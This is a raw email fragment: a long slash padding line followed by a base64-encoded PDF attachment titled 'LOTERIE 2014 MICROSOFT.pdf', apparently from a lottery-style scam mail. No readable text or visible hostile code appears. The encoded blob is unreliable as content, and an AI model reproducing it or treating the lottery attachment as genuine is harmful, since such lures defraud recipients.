//////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// ------=_Part_139516_1967875448.1386256706864 Content-Type: application/binary Content-Transfer-Encoding: base64 Content-Disposition: attachment; size=328566; size=328566; filename="LOTERIE 2014 MICROSOFT.pdf" JVBERi0xLjMNCiXi48/TDQoxIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUmVzb3VyY2VzPDwvWE9iamVj dDw8L0ltYWdlNSAyIDAgUi9JbWFnZTcgMyAwIFIvSW1hZ2UxMCA0IDAgUj4+L0V4dEdTdGF0ZTw8 L0dTNiA1IDAgUj4+L0ZvbnQ8PC9GMSA2IDAgUi9GMiAxMCAwIFI+Pi9Qcm9jU2V0Wy9QREYvVGV4 dC9JbWFnZUIvSW1hZ2VDL0ltYWdlSV0+Pi9NZWRpYUJveFswIDAgNTk1LjMyMCA4NDEuOTIwXS9D b250ZW50cyAxNCAwIFIvR3JvdXA8PC9UeXBlL0dyb3VwL1MvVHJhbnNwYXJlbmN5L0NTL0Rldmlj ZVJHQj4+L1RhYnMvUy9TdHJ1Y3RQYXJlbnRzIDAvQW5ub3RzWzUzIDAgUiA1NSAwIFJdL0FydEJv eFswIDAgNTk1LjMyMCA4NDEuOTIwXS9Dcm9wQm94WzAgMCA1OTUuMzIwIDg0MS45MjBdL1BhcmVu dCAzMDUgMCBSPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9YT2JqZWN0L1N1YnR5cGUvSW1h Z2UvV2lkdGggMTIzL0hlaWdodCA4OC9Db2xvclNwYWNlL0RldmljZVJHQi9CaXRzUGVyQ29tcG9u ZW50IDgvRmlsdGVyL0RDVERlY29kZS9JbnRlcnBvbGF0ZSB0cnVlL0xlbmd0aCA0MTIyPj5zdHJl YW0NCv/Y/+AAEEpGSUYAAQEBAAAAAAAA/9sAQwAIBgYHBgUIBwcHCQkICgwUDQwLCwwZEhMPFB0a Hx4dGhwcICQuJyAiLCMcHCg3KSwwMTQ0NB8nOT04MjwuMzQy/9sAQwEJCQkMCwwYDQ0YMiEcITIy MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy/8AAEQgAWAB7 AwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMF BQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkq NDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqi 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 em1TUWu728skULtCpOnOOnQ1RHie3tbxTHdW7FDnmVcfzoooUFOV2WnaNiG/8QTeIrtpbvUbSNFA Cxrcr0+ufzrG+3XGlzl7DUbbYOsTzqVP68fhRRW3IuYjmaWhn7ogHdpLZVLZCCZW255xWDqckf8A aEuJ4CPl5DjH3RRRXTQguZmNSTP/2Q0KZW5kc3RyZWFtDQplbmRvYmoNCjMgMCBvYmoNCjw8L1R5 cGUvWE9iamVjdC9TdWJ0eXBlL0ltYWdlL1dpZHRoIDIxMC9IZWlnaHQgMTU5L0NvbG9yU3BhY2Uv RGV2aWNlUkdCL0JpdHNQZXJDb21wb25lbnQgOC9GaWx0ZXIvRENURGVjb2RlL0ludGVycG9sYXRl IHRydWUvTGVuZ3RoIDMzMjg+PnN0cmVhbQ0K/9j/4AAQSkZJRgABAQEAYABgAAD/4QBORXhpZgAA TU0AKgAAAAgABAMBAAUAAAABAAAAPlEQAAEAAAABAQAAAFERAAQAAAABAAAOw1ESAAQAAAABAAAO wgAAAAAAAYagAACxj//bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAJ8A0gMBIgACEQEDEQH/ xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMA BBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVG R0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0 tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEB AQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2Fx EyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZ 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 